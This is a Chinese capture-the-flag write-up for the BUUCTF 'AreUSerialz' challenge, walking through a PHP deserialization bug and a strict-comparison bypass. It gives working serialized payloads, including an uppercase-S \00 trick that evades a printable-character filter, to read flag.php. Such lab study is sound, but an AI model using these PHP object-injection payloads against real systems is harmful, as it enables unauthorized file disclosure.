BUUCTF在线评测-练习场-WebCTF习题[网鼎杯 2020 青龙组]AreUSerialz1-flag获取、解析
解题思路
打开靶场,贴有源码
<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}
结合题目、源码可以知道主要是是反序列化漏洞。
下面分析核心源码。
首先,前面就直接包含了我们感兴趣的php文件flag.php,并且定义了保护类型的三个变量,保护类型只有类自己能访问。
<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;
这里只有__construct方法__destruct方法两个魔术方法和反序列化有关
function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}
类的构造方法,在实例化时自动调用,这里赋值、并调用了process方法:
public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}
当op为1时,执行写方法write(),当op为2时执行读方法,并输出所读内容,都不等于那么就输出类似报错的东西。这里前面构造方法自动调用赋值op=1,因此会执行写方法。
private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}
写方法先确认文件名和内容的存在,并且判断内容长度,如果大于100就报错,否则就写入数据。
private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}
读方法就是确认文件名是否存在,然后读取内容。
private function output($s) {echo "[Result]: <br>";echo $s;}
output方法就是输出内容。
function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}
最后是,类的析构方法,在类的实例化被销毁时、或者类被引用销毁时会自动调用。
这里,销毁时如果op==="2",就让op恢复成1。
这里需要注意使用了强类型等于,必须值、类型相同,而这里类型是字符串,所以我们输入整数2即可绕过该恢复。所以,这里就是注入点了。绕过后,后面即可调用process方法。
再看看后续代码
function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}
is_valid方法,使用ord方法,ord是让字符转义成ASCII值的形式,这里还要求必须大于32小于125,也就是我们的字符串中只能包含这些允许的字符,需要进行绕过。
后面就是get获取一个str参数,并用is_valid方法过滤,绕过后即可进行反序列化操作。
目标:利用op=2,调用process中的read,读取flag.php文件,思路总结:
1. 构造函数无法利用,实例化时自动调用,序列化反序列化都无法再次利用。
2. 析构函数可以利用,输入op=整数2即可绕过强类型判断,那如何调用析构函数?
序列化时并不会被调用。
而是,第一是在实例化结束后会被调用,这里无法利用。
那么只有第二种:反序列化得到的是对象,用完后会销毁,触发析构函数。
那么现在我们要序列化然后进行反序列化。
序列化我们可以php执行即可,反序列化需要绕过is_valid方法。
3.最终总结,制造payload,绕过is_valid方法读取flag.php文件
先制造基础版payload:
<?phpclass FileHandler {protected $op = 2;protected $filename ='flag.php'; protected $content;}
$FileHandler = serialize(new FileHandler);echo $FileHandler; ?>
定义op等于2,读取的文件名为flag.php,content无需赋值,因为用不到,然后实例化,序列化,输出:
我们可以看到有不可打印字符,这是因为protected类型对象的原因,这种不可打印字符ASCII为0,但是is_valid方法需要大于32小于125,即无法绕过,这里有两种解决办法:
先介绍比较简单的,那就是不用protected类型,将变量类型改变成公共变量
<?phpclass FileHandler {public $op = 2;public $filename ='flag.php'; public $content;}
$FileHandler = serialize(new FileHandler);echo $FileHandler; ?>
输出
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
payload:
/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
在源码中,成功获取flag:
第二种方法比较难以理解,也不太能想到
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";N;}
将不可见字符,替换成\00,并将小s替换成大S。
为什么要替换成\00?
下面是属性的序列化格式。
属性权限 | 序列化格式 |
---|---|
public | 直接写属性名 |
protected | \x00*\x00属性名 |
private | \x00类名\x00属性名 |
因为不可见字符会被解析成NULL即\x00,转换为ASCII为0,那么就不能通过is_valid的检测。
为什么\00可以替换\x00?
因为我们将s替换成了大S,序列化后的大S,可以支持十六进制解析,那么\00就是代表NULL。
也就是说\00=\x00,仍然可以解析成正常的属性。
那NULL不是还是ASCII绕不过吗?
重点来了,虽然解析是NULL,但是,这里is_valid,是把序列化后的数据,当作字符串来处理的,所以不会将\00解析成NULL,也就不会ASCII=0,那么就绕过is_valid了。
完整payload:
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";N;}
也是可以获取flag
总结
一道比较进阶的反序列化漏洞把
第一个解题方法是利用php版本问题,对属性不敏感,所以可以更改
第二个解题方法比较难想吧,了解即可。